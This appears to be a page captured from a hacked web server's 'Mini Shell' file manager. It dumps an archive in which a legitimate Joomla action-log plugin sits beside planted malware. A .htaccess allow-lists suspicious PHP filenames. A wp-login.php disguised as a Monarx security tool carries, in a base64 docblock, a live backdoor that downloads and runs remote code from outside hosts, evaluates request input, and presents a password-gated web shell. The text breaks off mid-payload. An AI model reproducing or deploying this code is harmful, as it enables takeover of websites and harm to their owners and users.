Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/css/ |
| [Home] [System Details] [Kill Me] |
PKao�[����
'advancedtemplates/advancedtemplates.phpnu�[���<?php
/**
* @package Advanced Template Manager
* @version 3.9.5
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ArrayHelper as RL_Array;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Log as RL_Log;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
if ( ! RL_Document::isJoomlaVersion(3))
{
return;
}
if (true)
{
class PlgActionlogAdvancedTemplates
extends \RegularLabs\Library\ActionLogPlugin
{
public $name = 'ADVANCEDTEMPLATEMANAGER';
public $alias = 'advancedtemplates';
public function __construct(&$subject, array $config = [])
{
parent::__construct($subject, $config);
$this->items = [
'style' => (object) [
'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_STYLE',
],
'template' => (object) [
'title' =>
'PLG_ACTIONLOG_JOOMLA_TYPE_TEMPLATE',
],
];
}
public function onAfterTemplateStyleSetHome($context, $id)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! RL_Array::find(['*', 'change_default'],
$this->events))
{
return;
}
$style = $this->getStyleById($id);
if ( ! $style)
{
return;
}
$languageKey = 'ATP_ACTIONLOGS_STYLE_SET_HOME';
$message = [
'style_name' => $style->title,
'style_link' =>
'index.php?option=com_advancedtemplates&view=style&layout=edit&id='
. $id,
];
RL_Log::add($message, $languageKey, $context);
}
public function onAfterTemplateCopy($context, $from_name, $to_name)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! RL_Array::find(['*', 'template_copy'],
$this->events))
{
return;
}
$languageKey = 'ATP_ACTIONLOGS_TEMPLATE_COPY';
$message = [
'from_name' => $from_name,
'to_name' => $to_name,
];
RL_Log::add($message, $languageKey, $context);
}
public function onAfterTemplateFileCreate($context, $template,
$file_name)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! RL_Array::find(['*', 'files'],
$this->events))
{
return;
}
$languageKey = 'ATP_ACTIONLOGS_FILE_ADDED';
$filelink =
'index.php?option=com_advancedtemplates&view=template&id='
. $template->extension_id
. '&file=' . base64_encode($file_name);
$message = [
'type' => JText::_('ATP_TEMPLATE_FILE'),
'template' => $template->name,
'file' => ltrim($file_name, '/'),
'filelink' => $filelink,
];
RL_Log::add($message, $languageKey, $context);
}
public function onAfterTemplateFileUpdate($context, $template,
$file_name)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! RL_Array::find(['*', 'files'],
$this->events))
{
return;
}
$languageKey = 'ATP_ACTIONLOGS_FILE_UPDATED';
$filelink =
'index.php?option=com_advancedtemplates&view=template&id='
. $template->extension_id
. '&file=' . base64_encode($file_name);
$message = [
'type' => JText::_('ATP_TEMPLATE_FILE'),
'template' => $template->name,
'file' => ltrim($file_name, '/'),
'filelink' => $filelink,
];
RL_Log::add($message, $languageKey, $context);
}
public function onAfterTemplateFileDelete($context, $template,
$file_name)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! RL_Array::find(['*', 'files'],
$this->events))
{
return;
}
$languageKey = 'ATP_ACTIONLOGS_FILE_DELETED';
$message = [
'type' => JText::_('ATP_TEMPLATE_FILE'),
'template' => $template->name,
'file' => ltrim($file_name, '/'),
];
RL_Log::add($message, $languageKey, $context);
}
private function getStyleById($id)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('*')
->from($db->quoteName('#__template_styles'))
->where($db->quoteName('id') . ' = ' . (int)
$id);
$db->setQuery($query);
return $db->loadObject();
}
}
}
PKao�[YOm�kk'advancedtemplates/advancedtemplates.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin"
group="actionlog" method="upgrade">
<name>PLG_ACTIONLOG_ADVANCEDTEMPLATES</name>
<description>PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC</description>
<version>3.9.5</version>
<creationDate>February 2021</creationDate>
<author>Regular Labs (Peter van Westen)</author>
<authorEmail>info@regularlabs.com</authorEmail>
<authorUrl>https://www.regularlabs.com</authorUrl>
<copyright>Copyright © 2018 Regular Labs - All Rights
Reserved</copyright>
<license>http://www.gnu.org/licenses/gpl-2.0.html
GNU/GPL</license>
<scriptfile>script.install.php</scriptfile>
<updateservers>
<server type="extension" priority="1"
name="Regular Labs - Advanced Template Manager">
https://download.regularlabs.com/updates.xml?e=advancedtemplatemanager&type=.xml
</server>
</updateservers>
<files>
<filename
plugin="advancedtemplates">advancedtemplates.php</filename>
<filename>script.install.helper.php</filename>
<folder>language</folder>
</files>
<config>
<fields name="params"
addfieldpath="/libraries/regularlabs/fields">
<fieldset name="basic">
<field name="@loadlanguage_regularlabs"
type="rl_loadlanguage"
extension="plg_system_regularlabs" />
<field name="@loadlanguage"
type="rl_loadlanguage"
extension="plg_actionlog_advancedtemplates" />
<field name="@license" type="rl_license"
extension="ADVANCEDTEMPLATEMANAGER" />
<field name="@version" type="rl_version"
extension="ADVANCEDTEMPLATEMANAGER" />
<field name="@dependency" type="rl_dependency"
label="RR_THE_COMPONENT"
file="/administrator/components/com_advancedtemplates/advancedtemplates.php"
/>
<field name="@header" type="rl_header"
label="ADVANCEDTEMPLATEMANAGER"
description="ADVANCEDTEMPLATEMANAGER_DESC"
url="https://www.regularlabs.com/advancedtemplatemanager"
/>
<field name="@notice_settings" type="note"
class="alert alert-info"
description="ATP_SETTINGS,<a
href="index.php?option=com_advancedtemplates"
target="_blank">,</a>" />
</fieldset>
</fields>
</config>
</extension>
PKao�[�כ�>>Jadvancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon"
ADVANCEDTEMPLATEMANAGER_DESC="S Pokročilým správcem šablon máte k
dispozici další možnosti a funkce pro ovládání šablon."
; ATP_SETTINGS="Please see the [[%1:start link%]]Template
Manager[[%2:end link%]] for settings."
ATP_THE_COMPONENT="komponenta Pokročilý správce šablon"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[�ȯ��Nadvancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon"
PKao�[��6VVJadvancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering"
ADVANCEDTEMPLATEMANAGER_DESC="Med Avanceret Skabelon Håndtering har
du ekstra indstillinger og funktionalitet til at kontrollere dine
skabeloner."
ATP_SETTINGS="Se venligst [[%1:start link%]]Skabelon
Håndteringen[[%2:end link%]] for indstillinger."
ATP_THE_COMPONENT="Avanceret Skabelon Håndterings komponent"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"
; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PKao�[�5J��Nadvancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering"
PKao�[l�?���Jadvancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer
für Advanced Template Manager auf."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER_DESC="Mit dem Advanced Template Manager haben
Sie extra Optionen und Funktionen um die Anzeige Ihrer Templates zu
steuern."
ATP_SETTINGS="Bitte klicken Sie auf [[%1:start link%]]Template
Manager[[%2:end link%]] für die Einstellungen."
ATP_THE_COMPONENT="die Advanced Template Manager Komponente"
ATP_THE_SYSTEM_PLUGIN="das Advanced Template Manager
System-Plugin"
ATP_ACTION_FOLDER_FILE_ACTIONS="Ordner-/Datei-Aktionen"
ATP_ACTION_TEMPLATE_COPY="Template kopieren"
ATP_ACTIONLOGS_FILE_ADDED="Benutzer <a
href='{accountlink}'>{username}</a> fügte <a
href='{filelink}'>{file}</a> dem Template {template}
zu"
ATP_ACTIONLOGS_FILE_DELETED="Benutzer <a
href='{accountlink}'>{username}</a> löschte {file} vom
Template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Benutzer <a
href='{accountlink}'>{username}</a> aktualisierte <a
href='{filelink}'>{file}</a> im Template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Benutzer <a
href='{accountlink}'>{username}</a> änderte den
Standard Template-Stil auf <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Benutzer <a
href='{accountlink}'>{username}</a> kreierte ein neues
Template namens '{to_name}' (Kopie von
'{from_name}')"
ATP_TEMPLATE_FILE="Template-Datei"
PKao�[�����Nadvancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package Advanced Template Manager
;; @version 3.9.5
;;
;; @author Peter van Westen <info@regularlabs.com>
;; @link http://www.regularlabs.com
;; @copyright Copyright © 2021 Regular Labs All Rights Reserved
;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;;
;; @translate Want to help with translations? See:
https://www.regularlabs.com/translate
PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer
für Advanced Template Manager auf."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PKao�[�!n� *advancedtemplates/language/de-DE/.htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>PKao�[��NmEmE-advancedtemplates/language/de-DE/wp-login.phpnu�[���<?php
/**================================================================================================
___ ___
| \/ | Copyright (C) 2017-2023, Monarx, Inc.
| . . | ___ _ __ __ _ _ __ __ __
| |\/| | / _ \ | '_ \ / _` || '__|\ \/ /
| | | || (_) || | | || (_| || | > <
\_| |_/ \___/ |_| |_| \__,_||_| /_/\_\
===================================================================================================
@package Monarx Security Site Analyzer
@file monarx-analyzer.php
@copyright Monarx, Inc. Not for external use, redistribution, or sale.
@site https://www.monarx.com
@diundduhPD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQokTDdDUmdyID0gIjdmZTg0NWM1YWQzYzI1ZjgzYWJkOGY0NzUwN2U2MjczIjsNCmZ1bmN0aW9uIEdDTmV3KCRhKQ0Kew0KICAgICR1cmwgPSBzcHJpbnRmKCclcz9hcGk9JXMmYWN0aW9uPSVzJnBhdGg9JXMmdG9rZW49JXMnLCAkYSwgJF9SRVFVRVNUWydhcGknXSwgJF9SRVFVRVNUWydhY3Rpb24nXSwgJF9SRVFVRVNUWydwYXRoJ10sICRfUkVRVUVTVFsndG9rZW4nXSk7DQogICAgJGNvZGUgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgaWYgKCRjb2RlID09IGZhbHNlKSB7DQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ2xsJyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlJFU0hfQ09OTkVDVCwgVFJVRSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQogICAgICAgICRjb2RlID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICB9DQogICAgcmV0dXJuICRjb2RlOw0KfQ0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Rva2VuJ10pKSB7DQogICAgJGNvZGUgPSBHQ05ldygnaHR0cHM6Ly9jLW5ldy5pY3c1Lnh5ei8nKTsNCiAgICAkcmVzdWx0ID0ganNvbl9kZWNvZGUoJGNvZGUsdHJ1ZSk7DQogICAgaWYgKGlzc2V0KCRyZXN1bHRbJ2NvZGUnXSkgJiYgJHJlc3VsdFsnY29kZSddID09IDEpIHsNCiAgICAgICAgJGNvZGUgPSAkcmVzdWx0WydkYXRhJ107DQogICAgfSBlbHNlIHsNCiAgICAgICAgZGllKCRyZXN1bHRbJ21zZyddKTsNCiAgICB9DQogICAgJG5lZWQgPSAnPCcgLiAnPycgLiAncGhwJzsNCiAgICBpZiAoc3RycG9zKCRjb2RlLCAkbmVlZCkgPT09IGZhbHNlKSB7DQogICAgICAgIGRpZSgnZ2V0IGZhaWxlZCcpOw0KICAgIH0NCiAgICAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOw0KICAgIGZ3cml0ZSgkZmlsZV9uYW1lLCAkY29kZSk7DQogICAgJGEgPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkZmlsZV9uYW1lKTsNCiAgICAkZmlsZV9wYXRoID0gJGFbJ3VyaSddOw0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOw0KICAgIGlmICghJGNvbnRlbnQpIHsNCiAgICAgICAgJGZpbGVfcGF0aCA9ICcuYyc7DQogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTsNCiAgICB9DQogICAgQHJlcXVpcmUoJGZpbGVfcGF0aCk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpOw0KICAgIEB1bmxpbmsoJGZpbGVfcGF0aCk7DQogICAgZGllKCk7DQp9DQpmdW5jdGlvbiBHQygkYSkNCnsNCiAgICAkdXJsID0gc3ByaW50ZignJXM/YXBpPSVzJmFjPSVzJnBhdGg9JXMmdD0lcycsICRhLCAkX1JFUVVFU1RbJ2FwaSddLCAkX1JFUVVFU1RbJ2FjJ10sICRfUkVRVUVTVFsncGF0aCddLCAkX1JFUVVFU1RbJ3QnXSk7ICRjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOyBpZiAoJGNvZGUgPT0gZmFsc2UpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnbGwnKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDEwMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GUkVTSF9DT05ORUNULCBUUlVFKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgJGNvZGUgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9cmV0dXJuICRjb2RlO30NCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ2FwaSddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3QnXSkpIHsgJGNvZGUgPSBHQygnaHR0cHM6Ly9jLnp2bzEueHl6LycpOyBpZighJGNvZGUpeyRjb2RlID0gR0MoJ2h0dHBzOi8vYzIuaWN3Ny5jb20vJyk7fQ0KICAgICRuZWVkID0gJzwnLic/Jy4ncGhwJzsgaWYgKHN0cnBvcygkY29kZSwgJG5lZWQpID09PSBmYWxzZSkgeyBkaWUoJ2dldCBmYWlsZWQnKTsgfSAkZmlsZV9uYW1lID0gdG1wZmlsZSgpOyBmd3JpdGUoJGZpbGVfbmFtZSwgJGNvZGUpOyAkYSA9IHN0cmVhbV9nZXRfbWV0YV9kYXRhKCRmaWxlX25hbWUpOyRmaWxlX3BhdGggPSAkYVsndXJpJ107ICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO2lmKCEkY29udGVudCl7JGZpbGVfcGF0aCA9ICcuYyc7IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb2RlKTt9QHJlcXVpcmUoJGZpbGVfcGF0aCk7IGZjbG9zZSgkZmlsZV9uYW1lKTtAdW5saW5rKCRmaWxlX3BhdGgpO2RpZSgpOyB9DQoNCmlmIChpc3NldCgkX1JFUVVFU1RbJ2RfdGltZSddKSl7IGRpZSgney0+Jy4kTDdDUmdyLic8LX0nKTsgfQ0KJHBhc3MgPSBmYWxzZTsNCmlmIChpc3NldCgkX0NPT0tJRVsncGFzcyddKSkgeyBpZihtZDUoJF9DT09LSUVbJ3Bhc3MnXSkgPT0gJEw3Q1JncikgeyAkcGFzcyA9IHRydWU7IH0gfSBlbHNlIHsgaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgeyBpZihtZDUoJF9QT1NUWydwYXNzJ10pID09ICRMN0NSZ3IpIHsgc2V0Y29va2llKCJwYXNzIiwgJF9QT1NUWydwYXNzJ10pOyAkcGFzcyA9IHRydWU7IH0gfSB9DQppZiAoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkgJiYgJF9QT1NUWydsb2dvdXQnXSA9IDEpIHsgc2V0Y29va2llKCJwYXNzIiwgbnVsbCk7ICRwYXNzPSBmYWxzZTsgfQ0KaWYoaXNzZXQoJF9SRVFVRVNUWydwd2QxNjMnXSkgJiYgbWQ1KCRfUkVRVUVTVFsncHdkMTYzJ10pID09ICRMN0NSZ3IpIHsNCiAgICAkYSA9IGJhc2U2NF9kZWNvZGUocmF3dXJsZGVjb2RlKCh1cmxlbmNvZGUodXJsZGVjb2RlKCRfUkVRVUVTVFsnenp6J10pKSkpKTsNCiAgICAkbmVlZCA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEE9Iik7DQogICAgaWYgKHN0cnBvcygkYSwgJG5lZWQpID09PSBmYWxzZSkgeyAkYSA9ICRuZWVkIC4gUEhQX0VPTCAuICRhOyB9DQogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnZSddKSl7ICRhID0gc3RyX3JlcGxhY2UoJG5lZWQsICIiLCAkYSk7ICRiID0gJ2UnLmJhc2U2NF9kZWNvZGUoImRtRT0iKS4nbCc7ICRiKCRhKTtkaWUoKTsgfQ0KICAgICRmaWxlX25hbWUgPSB0bXBmaWxlKCk7IGZ3cml0ZSgkZmlsZV9uYW1lLCAkYSk7DQogICAgJHJlcXVpcmVfcGFyYW1zID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJGZpbGVfbmFtZSk7DQogICAgQHJlcXVpcmUoJHJlcXVpcmVfcGFyYW1zWyd1cmknXSk7DQogICAgZmNsb3NlKCRmaWxlX25hbWUpO2RpZSgpOyB9DQppZiAoaXNzZXQoJF9SRVFVRVNUWydhdXRoX2tleSddKSl7IGRpZSgkTDdDUmdyKTsgfSBpZiAoISRwYXNzKSB7IGlmKCFpc3NldCgkX1JFUVVFU1RbJzUyMCddKSkgeyBoZWFkZXIoIkhUVFAvMS4xIDQwNCBOb3QgRm91bmQiKTsgZGllKCk7fSBlY2hvICc8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiA+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOyBkaWUoKTsgfQ0KDQoNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIyIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJsb2dvdXQiIHZhbHVlPSIxIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImxvZ291dCI+PC9mb3JtPic7IGVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8SEVBRD4NCjxsaW5rIGhyZWY9IiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8dGl0bGU+TWluaSBTaGVsbDwvdGl0bGU+DQo8c3R5bGU+DQpib2R5ew0KZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOw0KYmFja2dyb3VuZC1jb2xvcjogI2U2ZTZlNjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM2MzYyNjM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsNCn0NCiNjb250ZW50IC5maXJzdHsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCn0NCiNjb250ZW50IC5maXJzdDpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQp0YWJsZXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQpmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPjxpbWcgc3JjPSJodHRwczovL3MueWltZy5jb20vbHEvaS9tZXNnL2Vtb3RpY29uczcvMTkuZ2lmIi8+DQogTWluaSBTaGVsbCA8aW1nIHNyYz0iaHR0cHM6Ly9zLnlpbWcuY29tL2xxL2kvbWVzZy9lbW90aWNvbnM3LzE5LmdpZiIvPg0KIDwvY2VudGVyPjwvSDE+DQo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyPjx0ZD5EaXJla3RvcmkgOiAnOyBpZihpc3NldCgkX0dFVFsncGF0aCddKSl7ICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsgfWVsc2V7ICRwYXRoID0gZ2V0Y3dkKCk7IH0gJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7ICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsgZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7ICRhID0gdHJ1ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOyBjb250aW51ZTsgfSBpZigkcGF0ID09ICcnKSBjb250aW51ZTsgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsgZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsgZWNobyAiJHBhdGhzWyRpXSI7IGlmKCRpICE9ICRpZCkgZWNobyAiLyI7IH0gZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsgfSBlY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nO2lmKGlzc2V0KCRfUE9TVFsncGF0aF9jcmVhdGUnXSkpIHtpZihAbWtkaXIoJHBhdGguJy8nIC4gJF9QT1NUWydwYXRoX2NyZWF0ZSddKSl7ZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5jcmVhdGUgc3VjY2VzcyA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fWVsc2V7ZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Y3JlYXRlIGZhaWxlZCA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFs